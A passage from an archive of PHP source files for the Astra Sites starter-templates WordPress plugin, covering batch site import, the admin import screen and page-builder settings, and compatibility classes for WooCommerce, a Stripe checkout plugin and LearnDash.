} /* translators: %s plugin name. */ return sprintf( __( 'Successfully installed "%s" plugin!', 'astra-sites' ), $api->name ); } /** * Backup Customizer Settings */ public function backup_customizer_settings() { Astra_Sites::get_instance()->backup_settings(); } /** * Import Flows and Steps */ public function import_flows_and_steps() { $demo_data = get_option( 'astra_sites_import_data', array() ); if ( ! empty( $demo_data ) && isset( $demo_data['astra-site-cartflows-path'] ) && ! empty( $demo_data['astra-site-cartflows-path'] ) ) { Astra_Sites_Importer::get_instance()->import_cartflows( $demo_data['astra-site-cartflows-path'] ); } } /** * Import WP Forms */ public function import_wp_forms() { /** WordPress Post Administration API */ require_once ABSPATH . 'wp-admin/includes/post.php'; $demo_data = get_option( 'astra_sites_import_data', array() ); /** * Import WP Forms. */ if ( isset( $demo_data['astra-site-wpforms-path'] ) && ! empty( $demo_data['astra-site-wpforms-path'] ) ) { Astra_Sites_Importer::get_instance()->import_wpforms( $demo_data['astra-site-wpforms-path'] ); } } /** * Import Customizer Settings. */ public function import_customizer_settings() { $demo_data = get_option( 'astra_sites_import_data', array() ); Astra_Sites_Importer::get_instance()->import_customizer_settings( $demo_data['astra-site-customizer-data'] ); } /** * Import Content from XML/WXR. */ public function import_xml() { $demo_data = get_option( 'astra_sites_import_data', array() ); if ( isset( $demo_data['astra-site-wxr-path'] ) && ! empty( $demo_data['astra-site-wxr-path'] ) ) { $xml_path = Astra_Sites_Helper::download_file( $demo_data['astra-site-wxr-path'] ); Astra_WXR_Importer::instance()->sse_import( $xml_path['data']['file'] ); } } /** * Import Site Options. */ public function import_site_options() { $demo_data = get_option( 'astra_sites_import_data', array() ); if ( isset( $demo_data['astra-site-options-data'] ) && ! empty( $demo_data['astra-site-options-data'] ) ) { Astra_Sites_Importer::get_instance()->import_options( $demo_data['astra-site-options-data'] ); } } /** * Import Widgets. */ public function import_widgets() { $demo_data = get_option( 'astra_sites_import_data', array() ); if ( isset( $demo_data['astra-site-widgets-data'] ) && ! empty( $demo_data['astra-site-widgets-data'] ) ) { Astra_Sites_Importer::get_instance()->import_widgets( $demo_data['astra-site-widgets-data'] ); } } /** * Import End. */ public function import_end() { Astra_Sites_Importer::get_instance()->import_end(); } /** * Direct Import Site without Batch * * @param int $site_id Site ID. */ public function direct_import( $site_id = 0 ) { $this->validate_id( $site_id ); $this->set_site_data( $site_id ); $this->install_required_plugins(); $this->backup_customizer_settings(); $this->reset_previously_import_site(); $this->import_flows_and_steps(); $this->import_wp_forms(); $this->import_customizer_settings(); $this->import_xml(); $this->import_site_options(); $this->import_widgets(); $this->import_end(); } /** * Reset Previously Imported Site */ public function reset_previously_import_site() { // Get tracked data. $reset_data = Astra_Sites::get_instance()->get_reset_data(); // Delete tracked posts. if ( isset( $reset_data['reset_posts'] ) && ! empty( $reset_data['reset_posts'] ) ) { foreach ( $reset_data['reset_posts'] as $key => $post_id ) { Astra_Sites_Importer::get_instance()->delete_imported_posts( $post_id ); } } // Delete tracked terms. if ( isset( $reset_data['reset_terms'] ) && ! empty( $reset_data['reset_terms'] ) ) { foreach ( $reset_data['reset_terms'] as $key => $post_id ) { Astra_Sites_Importer::get_instance()->delete_imported_terms( $post_id ); } } // Delete tracked WP forms. if ( isset( $reset_data['reset_wp_forms'] ) && ! empty( $reset_data['reset_wp_forms'] ) ) { foreach ( $reset_data['reset_wp_forms'] as $key => $post_id ) { Astra_Sites_Importer::get_instance()->delete_imported_wp_forms( $post_id ); } } // Delete Customizer Data. Astra_Sites_Importer::get_instance()->reset_customizer_data(); // Delete Site Options. Astra_Sites_Importer::get_instance()->reset_site_options(); // Delete Widgets Data. Astra_Sites_Importer::get_instance()->reset_widgets_data(); } /** * Get Site Data by Site ID * * @since 2.5.0 * * @param int $id Site ID. * @return array */ public function get_site_data( $id ) { if ( empty( $this->current_site_data ) ) { // @todo Use Astra_Sites::get_instance()->api_request() instead of below function. $this->current_site_data = Astra_Sites_Importer::get_instance()->get_single_demo( $id ); update_option( 'astra_sites_import_data', $this->current_site_data, 'no' ); } return $this->current_site_data; } } Astra_Sites_Batch_Site_Import::get_instance(); endif; batch-import/class-astra-sites-batch-site-import-batch.php 0000666 00000002251 15165314160 0017626 0 ustar 00 <?php /** * Complete Site Import Batch Process * * @package Astra Sites * @since 2.5.0 */ if ( ! class_exists( 'Astra_Sites_Batch_Site_Import_Batch' ) && class_exists( 'WP_Background_Process' ) ) : /** * Site Import Batch * * @since 2.5.0 */ class Astra_Sites_Batch_Site_Import_Batch extends WP_Background_Process { /** * Batch Action * * @var string */ protected $action = 'astra_sites_site_import_batch'; /** * Task * * Override this method to perform any actions required on each * queue item. Return the modified item for further processing * in the next pass through. Or, return false to remove the * item from the queue. * * @since 2.5.0 * * @param array $data Queue item object. * @return mixed */ protected function task( $data ) { $instance = $data['instance']; if ( 'import_queue_1' === $data['method'] ) { $instance->import_queue_1( $data['args'] ); } if ( 'import_queue_2' === $data['method'] ) { $instance->import_queue_2( $data['args'] ); } if ( 'import_queue_3' === $data['method'] ) { $instance->import_queue_3( $data['args'] ); } return false; } } endif; batch-import/class-astra-sites-batch-import.php 0000666 00000002551 15165314160 0015610 0 ustar 00 <?php /** * Batch Import * * @package Astra Sites * @since 2.5.0 */ if ( ! class_exists( 'Astra_Sites_Batch_Import' ) ) : /** * Batch Import * * @since 2.5.0 */ class Astra_Sites_Batch_Import { /** * Instance * * @since 2.5.0 * @var object Class object. * @access private */ private static $instance; /** * Initiator * * @since 2.5.0 * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor * * @since 2.5.0 */ public function __construct() { // WP Core Files. require_once ABSPATH . 'wp-admin/includes/image.php'; // Image Downloader. require_once ASTRA_SITES_DIR . 'inc/importers/batch-processing/helpers/class-astra-sites-image-importer.php'; // Batch Processing. require_once ASTRA_SITES_DIR . 'inc/importers/batch-processing/helpers/class-wp-async-request.php'; require_once ASTRA_SITES_DIR . 'inc/importers/batch-processing/helpers/class-wp-background-process.php'; // Site Import Batch. require_once ASTRA_SITES_DIR . 'inc/classes/batch-import/class-astra-sites-batch-site-import.php'; } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites_Batch_Import::get_instance(); endif; class-astra-sites-page.php 0000666 00000053234 15165314160 0011546 0 ustar 00 <?php /** * Astra Sites Page * * @since 1.0.6 * @package Astra Sites */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Sites_Page' ) ) { /** * Astra Admin Settings */ class Astra_Sites_Page { /** * View all actions * * @since 1.0.6 * @var array $view_actions */ public $view_actions = array(); /** * Member Variable * * @var instance */ private static $instance; /** * Initiator * * @since 1.3.0 */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor * * @since 1.3.0 */ public function __construct() { if ( ! current_user_can( 'edit_posts' ) ) { return; } add_action( 'wp_ajax_astra-sites-change-page-builder', array( $this, 'save_page_builder_on_ajax' ) ); add_action( 'admin_init', array( $this, 'getting_started' ) ); } /** * Admin notice * * @since 1.3.5 * * @return void */ public function getting_started() { $current_screen = get_current_screen(); // Bail if not on Astra Sites screen. if ( ! is_object( $current_screen ) && null === $current_screen ) { return; } if ( 'plugins' === $current_screen->base ) { $processed = get_option( '_astra_sites_gettings_started', 'no' ); $product_name = Astra_Sites_White_Label::get_instance()->get_white_label_name( 'Astra' ); if ( 'yes' === $processed ) { return; } $arguments = array( 'page' => 'starter-templates', ); $url = add_query_arg( $arguments, admin_url( 'themes.php' ) ); ?> <div class="notice notice-info is-dismissible astra-sites-notice astra-sites-getting-started-notice"> <?php /* translators: %1$s is the admin page URL, %2$s is product name. */ ?> <p><?php printf( esc_attr__( 'Thank you for choosing %1$s! Check the library of <a class="astra-sites-getting-started-btn" href="%2$s">ready starter templates here »</a>', 'astra-sites' ), esc_html( $product_name ), esc_url( $url ) ); ?></p> </div> <?php } } /** * Save Page Builder * * @since 1.4.0 The `$page_builder_slug` was added. * * @param string $page_builder_slug Page Builder Slug. * @return mixed */ public function save_page_builder_on_submit( $page_builder_slug = '' ) { // Only admins can save settings. if ( ! defined( 'WP_CLI' ) && ! current_user_can( 'manage_options' ) ) { return; } if ( ! defined( 'WP_CLI' ) && ( ! isset( $_REQUEST['astra-sites-page-builder'] ) || ! wp_verify_nonce( sanitize_text_field( $_REQUEST['astra-sites-page-builder'] ), 'astra-sites-welcome-screen' ) ) ) { return; } // Stored Settings. $stored_data = $this->get_settings(); $page_builder = isset( $_REQUEST['page_builder'] ) ? sanitize_key( $_REQUEST['page_builder'] ) : sanitize_key( $page_builder_slug ); if ( ! empty( $page_builder ) ) { // New settings. $new_data = array( 'page_builder' => $page_builder, ); // Merge settings. $data = wp_parse_args( $new_data, $stored_data ); // Update settings. update_option( 'astra_sites_settings', $data ); } if ( ! defined( 'WP_CLI' ) ) { wp_safe_redirect( admin_url( '/themes.php?page=astra-sites' ) ); exit; } } /** * Save Page Builder * * @return void */ public function save_page_builder_on_ajax() { check_ajax_referer( 'astra-sites', '_ajax_nonce' ); // Only admins can save settings. if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error(); } // Stored Settings. $stored_data = $this->get_settings(); // New settings. $new_data = array( 'page_builder' => ( isset( $_REQUEST['page_builder'] ) ) ? sanitize_key( $_REQUEST['page_builder'] ) : '', ); // Merge settings. $data = wp_parse_args( $new_data, $stored_data ); // Update settings. update_option( 'astra_sites_settings', $data, 'no' ); $sites = $this->get_sites_by_page_builder( $new_data['page_builder'] ); wp_send_json_success( $sites ); } /** * Get Page Builder Sites * * @since 2.0.0 * * @param string $default_page_builder default page builder slug. * @return array page builder sites. */ public function get_sites_by_page_builder( $default_page_builder = '' ) { $sites_and_pages = Astra_Sites::get_instance()->get_all_sites(); $current_page_builder_sites = array(); if ( ! empty( $sites_and_pages ) ) { $page_builder_keys = wp_list_pluck( $sites_and_pages, 'astra-site-page-builder' ); foreach ( $page_builder_keys as $site_id => $page_builder ) { if ( $default_page_builder === $page_builder ) { $current_page_builder_sites[ $site_id ] = $sites_and_pages[ $site_id ]; } } } return $current_page_builder_sites; } /** * Get single setting value * * @param string $key Setting key. * @param mixed $defaults Setting value. * @return mixed Stored setting value. */ public function get_setting( $key = '', $defaults = '' ) { $settings = $this->get_settings(); if ( empty( $settings ) ) { return $defaults; } if ( array_key_exists( $key, $settings ) ) { return $settings[ $key ]; } return $defaults; } /** * Get Settings * * @return array Stored settings. */ public function get_settings() { $defaults = array( 'page_builder' => '', ); $stored_data = get_option( 'astra_sites_settings', $defaults ); return wp_parse_args( $stored_data, $defaults ); } /** * Update Settings * * @param array $args Arguments. */ public function update_settings( $args = array() ) { $stored_data = get_option( 'astra_sites_settings', array() ); $new_data = wp_parse_args( $args, $stored_data ); update_option( 'astra_sites_settings', $new_data, 'no' ); } /** * Init Nav Menu * * @param mixed $action Action name. * @since 1.0.6 */ public function init_nav_menu( $action = '' ) { if ( '' !== $action ) { $this->render_tab_menu( $action ); } } /** * Render tab menu * * @param mixed $action Action name. * @since 1.0.6 */ public function render_tab_menu( $action = '' ) { ?> <div id="astra-sites-menu-page"> <?php $this->render( $action ); ?> </div> <?php } /** * View actions * * @since 1.0.11 */ public function get_view_actions() { if ( empty( $this->view_actions ) ) { $this->view_actions = apply_filters( 'astra_sites_menu_item', array() ); } return $this->view_actions; } /** * Prints HTML content for tabs * * @param mixed $action Action name. * @since 1.0.6 */ public function render( $action ) { // Settings update message. if ( isset( $_REQUEST['message'] ) && ( 'saved' === $_REQUEST['message'] || 'saved_ext' === $_REQUEST['message'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Fetching GET parameter, no nonce associated with this action. ?> <span id="message" class="notice astra-sites-notice notice-success is-dismissive"><p> <?php esc_html_e( 'Settings saved successfully.', 'astra-sites' ); ?> </p></span> <?php } if ( isset( $_GET['action'] ) && 'site-import' === $_GET['action'] ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Fetching GET parameter to start the import process, no nonce associated with this action. $status = Astra_Sites_Batch_Site_Import::get_instance()->get_status(); $import_status = isset( $status['status'] ) ? $status['status'] : ''; $status_class = 'invalid_site_id' === $import_status || 'premium_sites' === $import_status ? 'failed' : ''; $step_class = ''; if ( ! empty( $status ) ) { $step_class = isset( $status['step'] ) && 'complete' === $status['step'] ? 'success' : ''; } ?> <div class="astra-sites-welcome astra-sites-import-screen <?php echo esc_attr( $status_class ); ?>"> <div class="inner-wrap"> <div class="inner"> <div class="header"> <?php $white_label = false; $white_label_class = ''; if ( is_callable( 'Astra_Ext_White_Label_Markup::get_whitelabel_string' ) ) { $white_label_title = Astra_Ext_White_Label_Markup::get_whitelabel_string( 'astra-sites', 'name' ); if ( $white_label_title ) { $white_label = true; $white_label_class = 'white-label-enabled'; } } ?> <span class="logo <?php echo esc_attr( $white_label_class ); ?>"> <?php if ( ! $white_label ) { ?> <img src="<?php echo esc_url( ASTRA_SITES_URI . 'inc/assets/images/logo.svg' ); ?>"> <?php } else { ?> <?php echo esc_html( Astra_Sites_White_Label::get_instance()->get_white_label_name() ); ?> <?php } ?> <h3 class="title"><?php esc_html_e( 'Importing Starter Template...', 'astra-sites' ); ?></h3> </span> </div> <div class="content"> <?php if ( 'invalid_site_id' === $import_status ) { ?> <p><?php esc_html_e( 'The demo you are importing seems invalid. The site is not found.', 'astra-sites' ); ?></p> <?php } elseif ( 'premium_sites' === $import_status ) { ?> <p><?php esc_html_e( 'The demo you are importing is a premium demo.', 'astra-sites' ); ?> <a href="https://wpastra.com/starter-templates-plans/?utm_source=batch-site-import&utm_campaign=astra-sites&utm_medium=batch-import" class="" target="_blank"><?php esc_html_e( 'Get Access!', 'astra-sites' ); ?><i class="dashicons dashicons-external"></i></a></p> <?php } else { ?> <p><?php esc_html_e( 'The import process can take a few minutes depending on the size of the site and speed of the connection.', 'astra-sites' ); ?></p> <?php } ?> <ul class="import-steps"> <li class="import-step <?php echo esc_attr( $step_class ); ?>" data-step="preparing"> <?php esc_html_e( 'Preparing Site Import', 'astra-sites' ); ?> </li> <li class="import-step <?php echo esc_attr( $step_class ); ?>" data-step="install_plugins"> <?php esc_html_e( 'Installing Required Plugins', 'astra-sites' ); ?> </li> <li class="import-step <?php echo esc_attr( $step_class ); ?>" data-step="import_contact_forms"> <?php esc_html_e( 'Importing Contact Forms', 'astra-sites' ); ?> </li> <li class="import-step <?php echo esc_attr( $step_class ); ?>" data-step="import_customizer_settings"> <?php esc_html_e( 'Setting up the Theme', 'astra-sites' ); ?> </li> <li class="import-step <?php echo esc_attr( $step_class ); ?>" data-step="import_content"> <?php esc_html_e( 'Importing Media, Posts, and Pages', 'astra-sites' ); ?> </li> <li class="import-step <?php echo esc_attr( $step_class ); ?>" data-step="import_options"> <?php esc_html_e( 'Importing Site Options', 'astra-sites' ); ?> </li> <li class="import-step <?php echo esc_attr( $step_class ); ?>" data-step="import_widgets"> <?php esc_html_e( 'Importing Sidebar and Widgets', 'astra-sites' ); ?> </li> <li class="import-step <?php echo esc_attr( $step_class ); ?>" data-step="complete"> <?php esc_html_e( 'Import Complete', 'astra-sites' ); ?> </li> </ul> <?php if ( 'success' === $step_class ) { ?> <p> <?php esc_html_e( 'Site Imported Successfully!', 'astra-sites' ); ?> <a class="view-site-button" href="<?php echo esc_url( site_url() ); ?>" target="_blank"><?php esc_html_e( 'Visit Site', 'astra-sites' ); ?> <i class="dashicons dashicons-external"></i></a> </p> <?php } ?> </div> </div> </div> </div> <?php } } /** * Site Filters * * @since 2.0.0 * * @return void */ public function site_filters() { ?> <div class="wp-filter hide-if-no-js"> <div class="section-left"> <div class="search-form"> <?php $categories = Astra_Sites::get_instance()->get_api_option( 'astra-sites-all-site-categories' ); if ( ! empty( $categories ) ) { ?> <div id="astra-sites__category-filter" class="dropdown-check-list" tabindex="100"> <span class="astra-sites__category-filter-anchor" data-slug=""><?php esc_html_e( 'All', 'astra-sites' ); ?></span> <ul class="astra-sites__category-filter-items"> <li class="ast-sites__filter-wrap category-active" data-slug=""><?php esc_html_e( 'All', 'astra-sites' ); ?> </li> <?php foreach ( $categories as $key => $value ) { if ( 'free' !== $value['slug'] ) { ?> <li class="ast-sites__filter-wrap" data-slug="<?php echo esc_attr( $value['slug'] ); ?>"><?php echo esc_html( $value['name'] ); ?> </li> <?php } } ?> <li class="ast-sites__filter-wrap-checkbox first-wrap"> <label> <input id="radio-all" type="radio" name="ast-sites-radio" class="checkbox active" value="" checked /><?php esc_html_e( 'All', 'astra-sites' ); ?> </label> </li> <li class="ast-sites__filter-wrap-checkbox"> <label> <input id="radio-free" type="radio" name="ast-sites-radio" class="checkbox" value="free" /><?php esc_html_e( 'Free', 'astra-sites' ); ?> </label> </li> <li class="ast-sites__filter-wrap-checkbox"> <label> <input id="radio-agency" type="radio" name="ast-sites-radio" class="checkbox" value="agency" /><?php esc_html_e( 'Premium', 'astra-sites' ); ?> </label> </li> </ul> </div> <?php } ?> <input autocomplete="off" placeholder="<?php esc_attr_e( 'Search...', 'astra-sites' ); ?>" type="search" aria-describedby="live-search-desc" id="wp-filter-search-input" class="wp-filter-search"> <span class="ast-icon-search search-icon"></span> <div class="astra-sites-autocomplete-result"></div> </div> </div> </div> <?php } /** * Get Default Page Builder * * @since 2.0.0 * * @return mixed page builders or empty string. */ public function get_default_page_builder() { $default_page_builder = $this->get_setting( 'page_builder' ); $page_builders = Astra_Sites::get_instance()->get_page_builders(); foreach ( $page_builders as $key => $page_builder ) { if ( $page_builder['slug'] === $default_page_builder ) { return $page_builder; } } return ''; } /** * Get Page Builders * * @since 2.0.0 * * @param string $slug Page Builder Slug. * @return array page builders. */ public function get_page_builder_image( $slug ) { $image = ''; switch ( $slug ) { case 'elementor': $image = ASTRA_SITES_URI . 'inc/assets/images/elementor.jpg'; break; case 'beaver-builder': $image = ASTRA_SITES_URI . 'inc/assets/images/beaver-builder.jpg'; break; case 'gutenberg': $image = ASTRA_SITES_URI . 'inc/assets/images/block-editor.png'; break; case 'brizy': $image = ASTRA_SITES_URI . 'inc/assets/images/brizy.jpg'; break; } return $image; } /** * Page Builder List * * @since 1.4.0 * @return array */ public function get_page_builders() { return array( 'gutenberg' => array( 'slug' => 'gutenberg', 'name' => esc_html__( 'Gutenberg', 'astra-sites' ), 'image_url' => ASTRA_SITES_URI . 'inc/assets/images/block-editor.jpg', 'title' => esc_html__( 'The default WordPress editor', 'astra-sites' ), ), 'elementor' => array( 'slug' => 'elementor', 'name' => esc_html__( 'Elementor', 'astra-sites' ), 'image_url' => ASTRA_SITES_URI . 'inc/assets/images/elementor.jpg', ), 'beaver-builder' => array( 'slug' => 'beaver-builder', 'name' => esc_html__( 'Beaver Builder', 'astra-sites' ), 'image_url' => ASTRA_SITES_URI . 'inc/assets/images/beaver-builder.jpg', ), 'brizy' => array( 'slug' => 'brizy', 'name' => esc_html__( 'Brizy', 'astra-sites' ), 'image_url' => ASTRA_SITES_URI . 'inc/assets/images/brizy.jpg', ), ); } /** * Get and return page URL * * @param string $menu_slug Menu name. * @since 1.0.6 * @return string page url */ public function get_page_url( $menu_slug ) { $current_slug = isset( $_GET['page'] ) ? sanitize_text_field( $_GET['page'] ) : 'starter-templates'; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Fetching GET parameter, no nonce associated with this action. $parent_page = 'themes.php'; if ( strpos( $parent_page, '?' ) !== false ) { $query_var = '&page=' . $current_slug; } else { $query_var = '?page=' . $current_slug; } $parent_page_url = admin_url( $parent_page . $query_var ); $url = $parent_page_url . '&action=' . $menu_slug; return esc_url( $url ); } /** * Converts a period of time in seconds into a human-readable format representing the interval. * * @since 2.0.0 * * Example: * * echo self::interval( 90 ); * // 1 minute 30 seconds * * @param int $since A period of time in seconds. * @return string An interval represented as a string. */ public function interval( $since ) { // Array of time period chunks. $chunks = array( /* translators: 1: The number of years in an interval of time. */ array( 60 * 60 * 24 * 365, _n_noop( '%s year', '%s years', 'astra-sites' ) ), /* translators: 1: The number of months in an interval of time. */ array( 60 * 60 * 24 * 30, _n_noop( '%s month', '%s months', 'astra-sites' ) ), /* translators: 1: The number of weeks in an interval of time. */ array( 60 * 60 * 24 * 7, _n_noop( '%s week', '%s weeks', 'astra-sites' ) ), /* translators: 1: The number of days in an interval of time. */ array( 60 * 60 * 24, _n_noop( '%s day', '%s days', 'astra-sites' ) ), /* translators: 1: The number of hours in an interval of time. */ array( 60 * 60, _n_noop( '%s hour', '%s hours', 'astra-sites' ) ), /* translators: 1: The number of minutes in an interval of time. */ array( 60, _n_noop( '%s minute', '%s minutes', 'astra-sites' ) ), /* translators: 1: The number of seconds in an interval of time. */ array( 1, _n_noop( '%s second', '%s seconds', 'astra-sites' ) ), ); if ( $since <= 0 ) { return esc_html__( 'now', 'astra-sites' ); } /** * We only want to output two chunks of time here, eg: * x years, xx months * x days, xx hours * so there's only two bits of calculation below: */ $j = count( $chunks ); // Step one: the first chunk. for ( $i = 0; $i < $j; $i++ ) { $seconds = $chunks[ $i ][0]; $name = $chunks[ $i ][1]; // Finding the biggest chunk (if the chunk fits, break). $count = floor( $since / $seconds ); if ( $count ) { break; } } // Set output var. $output = sprintf( translate_nooped_plural( $name, $count, 'astra-sites' ), $count ); // Step two: the second chunk. if ( $i + 1 < $j ) { $seconds2 = $chunks[ $i + 1 ][0]; $name2 = $chunks[ $i + 1 ][1]; $count2 = floor( ( $since - ( $seconds * $count ) ) / $seconds2 ); if ( $count2 ) { // Add to output var. $output .= ' ' . sprintf( translate_nooped_plural( $name2, $count2, 'astra-sites' ), $count2 ); } } return $output; } /** * Check Cron Status * * Gets the current cron status by performing a test spawn. Cached for one hour when all is well. * * @since 2.0.0 * * @param bool $cache Whether to use the cached result from previous calls. * @return true|WP_Error Boolean true if the cron spawner is working as expected, or a WP_Error object if not. */ public static function test_cron( $cache = true ) { global $wp_version; if ( defined( 'DISABLE_WP_CRON' ) && DISABLE_WP_CRON ) { return new WP_Error( 'astra_sites_cron_error', esc_html__( 'ERROR! Cron schedules are disabled by setting constant DISABLE_WP_CRON to true.<br/>To start the import process please enable the cron by setting the constant to false. E.g. define( \'DISABLE_WP_CRON\', false );', 'astra-sites' ) ); } if ( defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON ) { return new WP_Error( 'astra_sites_cron_error', esc_html__( 'ERROR! Cron schedules are disabled by setting constant ALTERNATE_WP_CRON to true.<br/>To start the import process please enable the cron by setting the constant to false. E.g. define( \'ALTERNATE_WP_CRON\', false );', 'astra-sites' ) ); } $cached_status = get_transient( 'astra-sites-cron-test-ok' ); if ( $cache && $cached_status ) { return true; } $sslverify = version_compare( $wp_version, 4.0, '<' ); $doing_wp_cron = sprintf( '%.22F', microtime( true ) ); $cron_request = apply_filters( 'cron_request', array( 'url' => site_url( 'wp-cron.php?doing_wp_cron=' . $doing_wp_cron ), 'key' => $doing_wp_cron, 'args' => array( 'timeout' => 3, 'blocking' => true, 'sslverify' => apply_filters( 'https_local_ssl_verify', $sslverify ), ), ) ); $cron_request['args']['blocking'] = true; $result = wp_remote_post( $cron_request['url'], $cron_request['args'] ); if ( is_wp_error( $result ) ) { return $result; } elseif ( wp_remote_retrieve_response_code( $result ) >= 300 ) { return new WP_Error( 'unexpected_http_response_code', sprintf( /* translators: 1: The HTTP response code. */ __( 'Unexpected HTTP response code: %s', 'astra-sites' ), intval( wp_remote_retrieve_response_code( $result ) ) ) ); } else { set_transient( 'astra-sites-cron-test-ok', 1, 3600 ); return true; } } } Astra_Sites_Page::get_instance(); }// End if. compatibility/checkout-plugins-stripe-woo/class-astra-sites-checkout-plugins-stripe-woo.php 0000666 00000002510 15165314160 0026456 0 ustar 00 <?php /** * Astra Sites Compatibility for 'Checkout Plugins – Stripe for WooCommerce' * * @see https://wordpress.org/plugins/checkout-plugins-stripe-woo/ * * @package Astra Sites * @since 3.0.23 */ /** * Checkout Plugins - Stripe compatibility for Starter Templates. */ class Astra_Sites_Checkout_Plugins_Stripe_WOO { /** * Instance * * @access private * @var object Class object. * @since 3.0.23 */ private static $instance; /** * Initiator * * @since 3.0.23 * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor. */ public function __construct() { add_action( 'astra_sites_after_plugin_activation', array( $this, 'checkout_plugins' ), 10, 2 ); } /** * Disable redirec after installing and activating Checkout Plugins - Stripe. * * @param string $plugin_init Plugin init file used for activation. * @return void */ public function checkout_plugins( $plugin_init ) { if ( 'checkout-plugins-stripe-woo/checkout-plugins-stripe-woo.php' === $plugin_init ) { delete_option( 'cpsw_start_onboarding' ); } } } /** * Kicking this off by calling 'get_instance()' method */ Astra_Sites_Checkout_Plugins_Stripe_WOO::get_instance(); compatibility/woocommerce/class-astra-sites-compatibility-woocommerce.php 0000666 00000012401 15165314160 0023177 0 ustar 00 <?php /** * Astra Sites Compatibility for 'WooCommerce' * * @see https://wordpress.org/plugins/woocommerce/ * * @package Astra Sites * @since 1.1.4 */ if ( ! class_exists( 'Astra_Sites_Compatibility_WooCommerce' ) ) : /** * WooCommerce Compatibility * * @since 1.1.4 */ class Astra_Sites_Compatibility_WooCommerce { /** * Instance * * @access private * @var object Class object. * @since 1.1.4 */ private static $instance; /** * Initiator * * @since 1.1.4 * @return object initialized object of class. */ public static function instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor * * @since 1.1.4 */ public function __construct() { add_action( 'astra_sites_import_start', array( $this, 'add_attributes' ), 10, 2 ); add_action( 'astra_sites_after_plugin_activation', array( $this, 'install_wc' ), 10, 2 ); // WooCommerce product attributes registration. if ( class_exists( 'WooCommerce' ) ) { add_filter( 'wxr_importer.pre_process.term', array( $this, 'woocommerce_product_attributes_registration' ), 10, 1 ); add_action( 'astra_sites_import_complete', array( $this, 'update_wc_lookup_table' ) ); } } /** * Add product attributes. * * @since 1.1.4 * * @param string $demo_data Import data. * @param array $demo_api_uri Demo site URL. * @return void */ public function add_attributes( $demo_data = array(), $demo_api_uri = '' ) { $attributes = ( isset( $demo_data['astra-site-options-data']['woocommerce_product_attributes'] ) ) ? $demo_data['astra-site-options-data']['woocommerce_product_attributes'] : array(); if ( ! empty( $attributes ) && function_exists( 'wc_create_attribute' ) ) { foreach ( $attributes as $key => $attribute ) { $args = array( 'name' => $attribute['attribute_label'], 'slug' => $attribute['attribute_name'], 'type' => $attribute['attribute_type'], 'order_by' => $attribute['attribute_orderby'], 'has_archives' => $attribute['attribute_public'], ); $id = wc_create_attribute( $args ); } } } /** * Create default WooCommerce tables * * @param string $plugin_init Plugin file which is activated. * @return void */ public function install_wc( $plugin_init ) { if ( 'woocommerce/woocommerce.php' !== $plugin_init ) { return; } // Create WooCommerce database tables. if ( is_callable( '\Automattic\WooCommerce\Admin\Install::create_tables' ) ) { \Automattic\WooCommerce\Admin\Install::create_tables(); \Automattic\WooCommerce\Admin\Install::create_events(); } if ( is_callable( 'WC_Install::install' ) ) { WC_Install::install(); } } /** * Hook into the pre-process term filter of the content import and register the * custom WooCommerce product attributes, so that the terms can then be imported normally. * * This should probably be removed once the WP importer 2.0 support is added in WooCommerce. * * Fixes: [WARNING] Failed to import pa_size L warnings in content import. * Code from: woocommerce/includes/admin/class-wc-admin-importers.php (ver 2.6.9). * * Github issue: https://github.com/proteusthemes/one-click-demo-import/issues/71 * * @since 3.0.0 * @param array $data The term data to import. * @return array The unchanged term data. */ public function woocommerce_product_attributes_registration( $data ) { global $wpdb; if ( strstr( $data['taxonomy'], 'pa_' ) ) { if ( ! taxonomy_exists( $data['taxonomy'] ) ) { $attribute_name = wc_sanitize_taxonomy_name( str_replace( 'pa_', '', $data['taxonomy'] ) ); // Create the taxonomy. if ( ! in_array( $attribute_name, wc_get_attribute_taxonomies(), true ) ) { $attribute = array( 'attribute_label' => $attribute_name, 'attribute_name' => $attribute_name, 'attribute_type' => 'select', 'attribute_orderby' => 'menu_order', 'attribute_public' => 0, ); $wpdb->insert( $wpdb->prefix . 'woocommerce_attribute_taxonomies', $attribute ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery -- WP Query would be expensive here, we are adding taxonomy attributes for WooCommerce. delete_transient( 'wc_attribute_taxonomies' ); } // Register the taxonomy now so that the import works! register_taxonomy( $data['taxonomy'], apply_filters( 'woocommerce_taxonomy_objects_' . $data['taxonomy'], array( 'product' ) ), apply_filters( 'woocommerce_taxonomy_args_' . $data['taxonomy'], array( 'hierarchical' => true, 'show_ui' => false, 'query_var' => true, 'rewrite' => false, ) ) ); } } return $data; } /** * Update WooCommerce Lookup Table. * * @since 3.0.0 * * @return void */ public function update_wc_lookup_table() { if ( function_exists( 'wc_update_product_lookup_tables' ) ) { if ( ! wc_update_product_lookup_tables_is_running() ) { wc_update_product_lookup_tables(); } } } } /** * Kicking this off by calling 'instance()' method */ Astra_Sites_Compatibility_WooCommerce::instance(); endif; compatibility/learndash/class-astra-sites-compatibility-learndash.php 0000666 00000002151 15165314160 0022244 0 ustar 00 <?php /** * Compatibility for 'LearnDash' * * @see https://wordpress.org/plugins/astra-pro/ * * @package Astra Sites * @since 2.3.8 */ // If LearnDash is not defined then return false. if ( ! defined( 'LEARNDASH_COURSE_GRID_VERSION' ) ) { return; } if ( ! class_exists( 'Astra_Sites_Compatibility_LearnDash' ) ) : /** * Astra Sites Compatibility LearnDash * * @since 2.3.8 */ class Astra_Sites_Compatibility_LearnDash { /** * Instance * * @access private * @var object Class object. * @since 2.3.8 */ private static $instance; /** * Initiator * * @since 2.3.8 * @return object initialized object of class. */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor * * @since 2.3.8 */ public function __construct() { add_filter( 